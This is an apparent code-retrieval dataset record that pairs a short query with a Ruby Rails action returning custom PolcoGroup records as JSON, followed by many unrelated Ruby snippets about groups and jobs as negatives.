"def print_output\r\n\t\t\tprint \"Files: #@num_files \\n\"\r\n\t\t\tprint \"Lines of Code: #@total \\n\"\r\n\t\t\tprint \"Blank Lines: #@blank_lines \\n\"\r\n\t\t\tprint \"Total Lines: #@lines\"\r\n\t\tend",
"def make_blanks\r\n\t#make an array with \"_ \" pushed in the length times. Every time its printed use join method\r\n\t\[email protected] do |x|\r\n\t\t\t@blanks << \"_ \"\r\n\t\tend\r\n\tend",
"def print\n return ''\n end",
"def display\t\n \tstring = \"\\n +-----------------------+\".green\n \[email protected]_index{ |i|\n \tstring += \"\\n |\".green\n v = @matrix[i]\n \tv.each_index{|j|\n \t\tif (v[j] != 0)\n \t\t\tstring += \" \" + v[j].to_s\n \t\telse \n \t\t\tstring += \" .\"\n \t\tend\n \t\t\t\t\n \t\tif (j == 2 || j == 5 || j == 8)\n \t\t\tstring += \" |\".green\n \t\tend\n \t\t}\n \t\tif (i == 2 || i == 5)\n \t\t\tstring += \"\\n |-------+-------+-------|\".green\n \t\tend\n \t}\n \tstring += \"\\n +-----------------------+\".green\n\tend",
"def outputing # :yields:\n result = yield\n fail \"Empty result\" unless result && result.size > 0\n output(result)\n end",
"def banner(msg)\n puts \"\\n #{'*' * (msg.size + 6)}\"\n puts \" * #{msg} *\"\n puts \" #{'*' * (msg.size + 6)}\\n\"\nend",
"def print_log\n puts \"Nr | Codes #{\"-\" * (@code_length * 4 - 9)} | white hit | black hit |\"\n count = @max_rounds\n @max_rounds.times do\n count -= 1\n if count >= @log.length\n puts \"#{sprintf('%02d', count + 1)} |#{\" |\" * (@code_length)} | |\"\n else\n row = @log[count]\n code = row[:code].join(' | ')\n puts sprintf('%02d | %s | %d | %d |', count + 1, code, row[:hits][:white], row[:hits][:black])\n end\n end\n end",
"def to_s\n \" #{[*'a'..'h'].join(\" \")}\\n\" <<\n \" #{\"+---\"*8}+\\n\" <<\n (0..63).map do |i|\n case 1\n when get_black[63 - i] then \"\\e[#{@options[:disk_color_b]}m#{@options[:disk_b]}\\e[0m\"\n when get_white[63 - i] then \"\\e[#{@options[:disk_color_w]}m#{@options[:disk_w]}\\e[0m\"\n else \" \"\n end\n end\n .map{ |e| \"| #{e} |\" }.each_slice(8).map(&:join)\n .map{ |line| line.gsub(/\\|\\|/, \"|\") }\n .tap{ |lines| break (0..7).map{ |i| \" #{i+1} #{lines[i]}\" } }\n .join(\"\\n #{\"+---\"*8}+\\n\") <<\n \"\\n #{\"+---\"*8}+\\n\"\n end",
"def print_space(location_relative_to_msg)\n odd_height_correction = \n (vertical_blank_space.odd? && location_relative_to_msg == :after ? 1 : 0)\n puts \"\\n\" * ((vertical_blank_space / 2) + odd_height_correction)\n end",
"def show_line\n say \"=\" * 25\nend",
"def print_output_head(index)\n puts \"\\nPrinting dataset for %.2f\" %\n (@meta_data.domain_z.lower + (index * @meta_data.domain_z.step))\n puts \"\\n\"\n end",
"def output_for items\n output = \"\"\n items.each_with_index do |item, position|\n output += \"#{position + 1}) #{item.type.capitalize}: #{item.details}\\n\"\n end\n output # Return the output to print (well, put) it\n end",
"def inspect\n return if @arr.empty?\n w = @arr.compact.collect { |row| row.size }.max\n result = \"\\n \" \n w.times do |y|\n result += '%3d'%y\n end\n result += \"\\n\"\n @arr.each_index do |x|\n result += '%3d:'%x\n if @arr[x]\n @arr[x].each do |val|\n result += val.nil? ? ' ' : '%3d'%val\n end\n end\n result += \"\\n\"\n end\n result\n end",
"def print_track\n clear_screen!\n puts \"RACE! GO FAST!!!111one\"\n liner = \"________________\"\n @length.times do\n liner += \"__\"\n end\n puts liner\n @players.times do |x_position|\n print \"Player #{x_position} \"\n @length.times do |y_position|\n print @track[x_position][y_position] + \"|\"\n end\n puts \"| FINISH\"\n end\n puts liner\n end",
"def to_s \n output = \"\"\n @height.times do |y|\n @width.times do |x|\n output << (@cells.include?([x,y]) ? '*' : '-')\n end\n output << \"\\n\"\n end\n output\n end",
"def pretty_print(mask, table, special_pos)\n for i in 0..table.size-1 do\n for j in 0..mask.size-1 do\n puts(mask[j] + \": \" + (if j==special_pos then \"\\n\" else \"\" end) + table[i][j].to_s)\n end\n puts(\"----------------------------\")\n end\nend"
] |
[
"0.633807",
"0.62709063",
"0.6128887",
"0.6080856",
"0.6064031",
"0.603488",
"0.60185343",
"0.60178137",
"0.6004134",
"0.59900373",
"0.598881",
"0.5984252",
"0.5984252",
"0.5968791",
"0.59390616",
"0.59125316",
"0.59097826",
"0.58964646",
"0.58925974",
"0.5889425",
"0.5884201",
"0.588312",
"0.5877593",
"0.5874257",
"0.58730876",
"0.5870943",
"0.58649975",
"0.5864403",
"0.585696",
"0.58556545",
"0.5844961",
"0.5841406",
"0.5839882",
"0.58279693",
"0.58270735",
"0.5814357",
"0.5810289",
"0.57889676",
"0.57622164",
"0.5761758",
"0.5753453",
"0.5750049",
"0.57452846",
"0.5738277",
"0.5734661",
"0.5726821",
"0.5725118",
"0.5723803",
"0.57208174",
"0.5711225",
"0.5693023",
"0.5683056",
"0.56742203",
"0.56672525",
"0.5666107",
"0.5665315",
"0.5665315",
"0.5663485",
"0.566302",
"0.56584644",
"0.56514335",
"0.56499535",
"0.5643032",
"0.5641334",
"0.56354743",
"0.5633237",
"0.5621839",
"0.5619789",
"0.56050724",
"0.560394",
"0.560394",
"0.560394",
"0.560394",
"0.560394",
"0.560394",
"0.560394",
"0.560394",
"0.560394",
"0.560394",
"0.560394",
"0.560394",
"0.560394",
"0.560394",
"0.560394",
"0.55982673",
"0.5595115",
"0.55916584",
"0.5590213",
"0.5575578",
"0.5573387",
"0.5568826",
"0.5568061",
"0.5566169",
"0.55650365",
"0.5563836",
"0.55542475",
"0.55532676",
"0.5550549",
"0.5543279",
"0.5541614"
] |
0.64846516
|
0
|
GET /polco_groups GET /polco_groups.xml
|
def index
#@polco_groups = PolcoGroup.all.paginate(:page => params[:page], :per_page => 20) # where(name: /#{params[:q]}/i)
@groups = Hash.new
@groups[:states] = PolcoGroup.states.all.paginate(:page => params[:page], :per_page => 20)
@groups[:districts] = PolcoGroup.districts.all.paginate(:page => params[:page], :per_page => 20)
@groups[:customs] = PolcoGroup.customs.all.paginate(:page => params[:page], :per_page => 20)
respond_to do |format|
format.html # index.haml
format.xml { render :xml => @polco_groups }
format.json { render :json => @polco_groups.map{|g| {:id => g.id, :name => g.name}} }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n respond_to do |format|\n format.html { @groups = Group.get_groups(current_user, params) }\n format.xml { render :xml => Group.get_groups(params.merge({:show => 'all'})) }\n end\n end",
"def index\n respond_to do |format|\n format.html { @groups = Group.get_groups(current_user, params) }\n format.xml { render :xml => Group.get_groups(params.merge({:show => 'all'})) }\n end\n end",
"def resourcegroups\n result = @http.get('/resourcegroups')\n result[1]\n end",
"def get_nodegroups()\n nodemgr_rest_call(\"GET\", \"classifier\", \"groups\", $credentials)\nend",
"def index\n\n @groups = Group.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def list_groups()\n response = HTTParty.get(\"https://graph.microsoft.com/v1.0/groups\", { \n headers: {\n \"Authorization\" => \"Bearer #{bearerToken}\",\n \"Host\" => 'graph.microsoft.com' \n }\n })\n return JSON.parse response.read_body\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def new\n @polco_group = PolcoGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @polco_group }\n end\n end",
"def show\n @bills = @polco_group.get_bills\n @members = @polco_group.members\n @followers = @polco_group.followers\n\n respond_to do |format|\n format.html # show.haml\n format.xml { render :xml => @polco_group }\n end\n end",
"def get_groups(params)\n send_get \"get_groups\", params\n end",
"def index\n @groups = Group.all\n @title = \"Groups\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @api_v1_groups_polls = Api::V1::GroupsPoll.all\n end",
"def GetGroups params = {}\n\n params = params.merge(path: 'groups.json')\n APICall(params)\n\n end",
"def index\n\n @groups = Group.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n format.json { render :json => @groups }\n end\n end",
"def index\n @grupos = Grupo.find(:all).sort_by {|p| p.asignatura.curso.codigo }\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @grupos }\n end\n end",
"def custom_groups\n\n groups_list = prep_format(PolcoGroup.where(name: /#{params[:q]}/i, type: :custom))\n\n respond_to do |format|\n format.json {render :json => groups_list}\n end\n end",
"def index\n @user_groups = UserGroup.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_groups }\n end\n end",
"def index\n @provider_groups = ProviderGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @provider_groups }\n end\n end",
"def index\n\n @user_groups = UserGroup.find(:all)\n\n respond_to do |format|\n format.html { redirect_to :controller => :groups, :action => :index }\n format.xml { render :xml => @user_groups }\n end\n end",
"def battlegroups\r\n BnetApi::make_request('/wow/data/battlegroups/')\r\n end",
"def index\n @pgroups = Pgroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pgroups }\n end\n end",
"def index\n @groups = SuperSimpleCms::Group.find(:all, :order=>:position)\n\n respond_to do |format|\n format.html { render :template => 'admin/groups/index' }\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @groups = @flr.groups.all\n end",
"def get_group\n send_request(FUNCTION_GET_GROUP, [], '', 4, 'k4')\n end",
"def index\n @user_groups = UserGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_groups }\n end\n end",
"def index\n @giving_groups = GivingGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @giving_groups }\n end\n end",
"def get_groups\n @course = Course.find(params[:course_id])\n render json: @course.groups\n end",
"def index\n\n\t\t@groups = Group.find_paginate({:user=> current_user, :page => params[:page], :query => params[:query], :sort => params[:sort], :nb_items => get_nb_items(params[:nb_items]) })\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.xml { render :xml => @groups }\n\t\t\tformat.json { render :json => @groups }\n\t\tend\n\tend",
"def index\n @groups = WorkGroup.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @gruppi = Gruppo.all :order => 'GRP_NAME asc'\n respond_with(@gruppi)\n end",
"def index\n\t#Once sessions are implemented, return all groups where the user has a priveledge\n\t#A table including all subgroups will be generated.\n\tGroup.rebuild! if nil.|Group.find(:first).rgt\n\n\t@groups = current_user.get_unique_group_branches\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def list_groups(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'ListGroups'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :marker\n\t\t\targs[:query]['Marker'] = optional[:marker]\n\t\tend\n\t\tif optional.key? :max_items\n\t\t\targs[:query]['MaxItems'] = optional[:max_items]\n\t\tend\n\t\tself.run(args)\n\tend",
"def list\n @groups = Group.find(:all, :order => 'name')\n end",
"def index\n @competence_groups = CompetenceGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @competence_groups }\n end\n end",
"def index\n groups = get_collection(assignment.groups) || return\n\n group_data = include_memberships(groups)\n\n respond_to do |format|\n format.xml do\n render xml: group_data.to_xml(root: 'groups', skip_types: 'true')\n end\n format.json { render json: group_data }\n end\n end",
"def show\n @grupo = Grupo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @grupo }\n end\n end",
"def showgrp\n @grp = params[:id].to_s\n @groups=Group.where(\"kls_parent=\"+@grp).order(\"name asc\")\n render json: @groups\n end",
"def index\n\n @group_definitions = GroupDefinition.find(:all)\n\n render :xml => @group_definitions\n end",
"def index\n @title = \"Группы характеристик\"\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"def index\n @groupsIds = GroupsProssumer.where(prossumer_id: params[:prossumer_id]).pluck(:group_id)\n @groups = Group.where(id: @groups)\n render json: @groups\n end",
"def index\n @groups = Group.paginate :page => (params[:page]||1), :order => 'name ASC', :per_page => 10\n \n @self_member_groups = Group.find(User.find(current_user).group_members.map(&:group_id)) \n @self_created_groups = User.find(current_user).groups\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @group_users = @parent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @group_users }\n end\n end",
"def index\n @title = \"groups_title\"\n #save_navi_state(['groups_title', 'browse_groups']) #moved to filter\n public_group_ids = Group.get_public_group_ids(session[:cookie])\n # add groups to Kassi db if there are new (made in other services)\n Group.add_new_groups_to_kassi_db(public_group_ids)\n \n @groups = Group.paginate( public_group_ids ,{:page => params[:page], :per_page => per_page})\n end",
"def index\n @request_groups = RequestGroup.all\n end",
"def getGroups\n groups = $gm.get(\"/groups\", @token, \"per_page=100\")\n group_ids = Array.new\n\n groups['response'].each do |group|\n group_ids.push({\n 'name' => group['name'],\n 'group_id' => group['id'],\n 'image' => group['image_url']})\n end\n\n return group_ids\n end",
"def index\n @resource_groups = ResourceGroup.all\n end",
"def index\n @jido_grp_rels = JidoGrpRel.find(:all)\n if params[:sort]==\"grp\"\n @jido_grp_rels = JidoGrpRel.find(:all, :order => :group_id )\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jido_grp_rels }\n end\n end",
"def show\n @grocery_groups = @grocery.groups\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html\n format.json { render json: @groups }\n end\n end",
"def index\n @grupoclientes = Grupocliente.all\n end",
"def index\n @groups = Group.paginate :page => (params[:page] or 1)\n display @groups\n end",
"def index\n @groups = Group.accessible_by(current_ability)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n format.xml { render xml: @groups }\n end\n end",
"def list_groups\n BrickFTP::API::Group.all\n end",
"def list_groups\n BrickFTP::API::Group.all\n end",
"def index\n #@groupings = Grouping.all\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groupings }\n end\n end",
"def show\n @group_list = GroupList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group_list }\n end\n end",
"def groups\n \n \n @groups = @current_user.groups\n render 'groups.json.jbuilder', status: :ok\n end",
"def index\n @groups_with_el = Provider.pluck(:group_id).uniq - [nil, 0]\n \n @groups = Provider.where(is_group: true).order(:name).map{|g| {\n id: g.id, \n name: g.name,\n spec: g.spec,\n allow_delete: !@groups_with_el.include?(g.id),\n goods_types_array: g.goods_type_names_array.join(', ')\n }}\n\n store_providers_path\n end",
"def show\n @group = Group.find(params[:id])\n\n @list_group_subgroups = @group.group_subgroups.paginate :page => params[:subgroups_page], :per_page => 10\n @list_group_members = @group.group_members.paginate :page => params[:members_page], :per_page => 10\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n end",
"def index\n @groups = Group.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"def groups\n #@groups = Kaminari.paginate_array(current_user.publications(Group)).page(params[:page])\n @groups = current_user.publications(Group)\n @in_search_page = true\n respond_to do |format|\n format.any(:html, :wml) {\n # render :template=>'groups/index'\n }\n format.json { render :json => @groups }\n end\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"def index\n authorize! :see, Group\n @groups = Group.all\n end",
"def show\n save_navi_state(['groups_title', 'browse_groups'])\n begin\n @group = Group.find(params[:id])\n @members = @group.members(session[:cookie]).paginate :page => params[:page], :per_page => per_page\n rescue RestClient::ResourceNotFound => e\n flash[:error] = :group_not_found\n redirect_to groups_path\n rescue ActiveRecord::RecordNotFound => e\n flash[:error] = :group_not_found\n redirect_to groups_path\n end\n end",
"def get_groups_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: GroupsApi.get_groups ...\"\n end\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if opts[:'sort_order'] && !['ascending', 'descending'].include?(opts[:'sort_order'])\n fail ArgumentError, 'invalid value for \"sort_order\", must be one of ascending, descending'\n end\n \n \n \n \n # resource path\n local_var_path = \"/api/v2/groups\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'pageSize'] = opts[:'page_size'] if opts[:'page_size']\n query_params[:'pageNumber'] = opts[:'page_number'] if opts[:'page_number']\n query_params[:'id'] = @api_client.build_collection_param(opts[:'id'], :multi) if opts[:'id']\n query_params[:'jabberId'] = @api_client.build_collection_param(opts[:'jabber_id'], :multi) if opts[:'jabber_id']\n query_params[:'sortOrder'] = opts[:'sort_order'] if opts[:'sort_order']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'GroupEntityListing')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: GroupsApi#get_groups\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def index\n @groups = query(GROUP, :name)\n\n # restrict the groups to the groups of the current user\n # unless the current user is allowed to create groups\n # and need to see all\n unless allowed(:create)\n allowed_group_ids = current_user.groups.collect {|g| g.id }\n @groups.delete_if do |g|\n ! allowed_group_ids.member?(g.id)\n end\n end\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @groups }\n end\n end",
"def index\n @lexicon_groups = @current_user.lexicon_groups.page params[:page]\n end",
"def index\n @title = \"Grupos\"\n @previa_groups = PreviaGroup.all\n end",
"def groups(options = {})\n params = { :limit => 200 }.update(options)\n response = get(PATH['groups_full'], params)\n parse_groups response_body(response)\n end",
"def index\n @groups_all = current_user.groups.paginate(page: params[:page]).order('name ASC')\n\n @owner = current_user\n @users = User.where(\"owner_id = ?\", current_user).order('lastname ASC')\n\n respond_to do |format|\n format.html { render @groups }\n format.json { render json: @groups }\n end\n end",
"def index\n\tperfilId = session[:perfilLogado]\n\n\tif(perfilId)\n\t\tperfil = Perfil.find(perfilId)\n\n\t\trender :json => perfil.grupos.to_json(), :callback => params['callback']\n\tend\n end",
"def index\n @fgroups = Fgroup.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @fgroups }\n end\n end",
"def index\n @contact_groups = ContactGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @contact_groups }\n end\n end",
"def is_in_group_url\n returnGroup = []\n group = query_root_node(\"fao:isInGroup/@rdf:resource\", @@NAMESPACES)\n if !group.nil?\n group.each do |entry|\n returnGroup << entry.to_s\n end\n end\n returnGroup\n end",
"def index\n @forum_groups = ForumGroup.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @forum_groups.to_xml }\n end\n end",
"def index\n @tqrdc_groups = Tqrdc::Group.all.page\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def show\n @group = Group.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group.to_xml }\n end\n end",
"def index\n @slicegroups = Slicegroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @slicegroups }\n end\n end",
"def index\n @grupos = Grupo.all\n end",
"def index\n @grupos = Grupo.all\n end",
"def index\n if params[:search]\n @groups = Group.search params[:search], :order => 'created_at DESC'\n else\n @groups = Group.paginate :order => 'created_at DESC', :page => params[:page]\n end\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @groups }\n end\n end",
"def belonging_groups\n contact_groups = []\n @contact.contact_groups.each do |group|\n contact_groups << { _id: group['_id'].to_s, lbl: group['label'] }\n end\n\n respond_to do |format|\n format.js {}\n format.json { render json: contact_groups }\n end\n end",
"def show\n @group = Group.find(params[:id]) #Sicherheitsrisiko ohne @user.groups.find ?\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group }\n end\n end",
"def list_groups\n groups = CanvasSpaces.GroupCategory.groups.active.order(:name)\n # filter out non-public groups for non-admins\n groups = groups.where(join_level: 'parent_context_auto_join') unless @current_user.account.site_admin?\n groups_json = Api.paginate(groups, self, api_v1_canvas_spaces_groups_url).map do |g|\n include = @current_user.account.site_admin? || @current_user.id == g.leader_id ? ['users'] : []\n group_formatter(g, { include: include })\n end\n render :json => groups_json\n end",
"def get_all_groups_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: GroupControllerApi.get_all_groups ...'\n end\n allowable_values = [\"ASC\", \"DESC\"]\n if @api_client.config.client_side_validation && opts[:'sort'] && !allowable_values.include?(opts[:'sort'])\n fail ArgumentError, \"invalid value for \\\"sort\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/groups/paginated'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'since'] = opts[:'since'] if !opts[:'since'].nil?\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'PageGroupProjection' \n\n # auth_names\n auth_names = opts[:auth_names] || ['API_KEY']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: GroupControllerApi#get_all_groups\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end"
] |
[
"0.6632415",
"0.6632415",
"0.6250863",
"0.62450117",
"0.6227549",
"0.6214434",
"0.62011504",
"0.62011504",
"0.6161222",
"0.6149713",
"0.61163837",
"0.6101761",
"0.6100348",
"0.60714644",
"0.60709774",
"0.6061873",
"0.60266846",
"0.60177326",
"0.60139126",
"0.598737",
"0.5961121",
"0.5959358",
"0.59518707",
"0.5942597",
"0.5931357",
"0.59237355",
"0.59038925",
"0.5898036",
"0.5881638",
"0.5875234",
"0.5872434",
"0.5848665",
"0.5838205",
"0.5830876",
"0.5827288",
"0.5819163",
"0.5793397",
"0.5790323",
"0.5783916",
"0.57758886",
"0.57754886",
"0.5768235",
"0.57634604",
"0.57422215",
"0.57332057",
"0.57252693",
"0.57196933",
"0.57161885",
"0.5714807",
"0.5711655",
"0.56915814",
"0.568897",
"0.5683855",
"0.56793404",
"0.56793404",
"0.5670664",
"0.5637023",
"0.56364894",
"0.56251866",
"0.5622987",
"0.5620897",
"0.5620897",
"0.5620897",
"0.5620897",
"0.5620897",
"0.5620897",
"0.5620897",
"0.5620897",
"0.5620897",
"0.5620897",
"0.5620897",
"0.5620897",
"0.56127334",
"0.5612323",
"0.56023496",
"0.56023496",
"0.5601526",
"0.55961496",
"0.5590491",
"0.55904704",
"0.55887616",
"0.55716115",
"0.5571494",
"0.5570163",
"0.5563451",
"0.5557873",
"0.5556246",
"0.555615",
"0.5537693",
"0.5533388",
"0.55308336",
"0.55308336",
"0.55262",
"0.552523",
"0.552523",
"0.550874",
"0.55049086",
"0.55016595",
"0.5500383",
"0.5497708"
] |
0.6596778
|
2
|
for the autogroup work
|
def custom_groups
groups_list = prep_format(PolcoGroup.where(name: /#{params[:q]}/i, type: :custom))
respond_to do |format|
format.json {render :json => groups_list}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def group; end",
"def find_work\n\n end",
"def do_work\n end",
"def i_groups; end",
"def work_pool; end",
"def current_group\n end",
"def process_issues rmp_id, force_new_task = false\n\n (1..$msp.Tasks.Count).each do |i|\n\n # check msp task\n next unless mst = $msp.Tasks(i)\n\n is_group = (mst.OutlineChildren.Count > 0)\n process_issue rmp_id, mst, force_new_task, is_group\n\n end\nend",
"def groups; end",
"def groups; end",
"def groups; end",
"def ii_groups; end",
"def group\n nil\n end",
"def group\n nil\n end",
"def group\n nil\n end",
"def iii_groups; end",
"def perform_save\n api.group_save(self)\n end",
"def work_joule_func\n \t#Exercise.find(exercise_id).work_joule(weight_additional_kg)\n work_joule=1\n end",
"def update_group(increment)\n end",
"def group\n @group\n end",
"def groups=(_arg0); end",
"def create_group\n group new_resource.group do\n gid new_resource.gid\n system true\n end\n end",
"def jobs\r\n end",
"def group\n nil\n end",
"def group_id\n super\n end",
"def require_group_x\n end",
"def build_house() \n gather_team()\n @workers.each do |worker|\n worker.get_to_work()\n end\n end",
"def setup\n @key = :__first_group__\n start(nil)\n end",
"def set_main_group(group)\r\n #@main_group = group\r\n\t\t@groups[10] = group\r\n\tend",
"def create_master_schedule_work_orders\n create_course_offerings_work_order(\"elementary\")\n create_course_offerings_work_order(\"middle\")\n create_course_offerings_work_order(\"high\")\n end",
"def group\n @group\n end",
"def workflow\n end",
"def group(*) end",
"def set_work_schedule_group\n @work_schedule_group = WorkScheduleGroup.find(params[:id])\n end",
"def group_builder; end",
"def setup\n @key = :__first_group__\n zero\n end",
"def work\n raise \"implement this in a class that includes this module\"\n end",
"def create\n @group = Group.new(group_params)\n @group.current = true;\n @group.workers = workers_params[:list]\n\n#=begin\n respond_to do |format|\n if @group.save\n change_current\n format.html { redirect_to @group, notice: 'Group was successfully created.' }\n format.json { render :show, status: :created, location: @group }\n else\n format.html { render :new }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n#=end\n end",
"def create_work_event\n\t\n end",
"def parent_work\n find_related_frbr_objects( :is_part_of, :which_works?) \n end",
"def spawn attributes={}\n child = self.dup\n self.work_groups.each do |wg|\n new_wg = WorkGroup.new(:institution=>wg.institution,:project=>child)\n child.work_groups << new_wg\n wg.group_memberships.each do |gm|\n new_gm = GroupMembership.new(:person=>gm.person, :work_group=>wg)\n new_wg.group_memberships << new_gm\n end\n end\n child.assign_attributes(attributes)\n child.avatar=nil\n child.lineage_ancestor=self\n child\n end",
"def begin_group(kind); end",
"def working!\n disque.with {|cn| cn.call :working, job_id } if disque && job_id\n end",
"def groups()\n\t\t\tend",
"def work\n\t\tsuper\n\t\t@story = @work\n\tend",
"def init_group(group_name)\n @job_groups[group_name] = { :jobs => [], :finished => false }\n end",
"def girl_groups; end",
"def worker_pool; end",
"def worker_pool; end",
"def initialize_group( task )\n @task = task\n end",
"def perform\n current_heat = 1\n LaneAssignment.transaction do\n @competition.age_group_entries.each do |ag_entry|\n age_group_entries = @competition.competitors.includes(members: [registrant: :registrant_choices]).select {|competitor| competitor.age_group_entry == ag_entry }\n current_heat = create_heats_from(age_group_entries, current_heat, num_lanes)\n end\n end\n end",
"def setup_group\n self.status = 'pending'\n make_slug\n self.valid? && self.save! ? true : false\n end",
"def task\n end",
"def be_worker\n before_work\n super\n end",
"def work\n\t\tsuper\n\t\t@link = @work\n\tend",
"def starts_new_group?( task_id_str )\n @task_starts_group[ task_id_str ]\n end",
"def group\n raise(NotImplementedError)\n end",
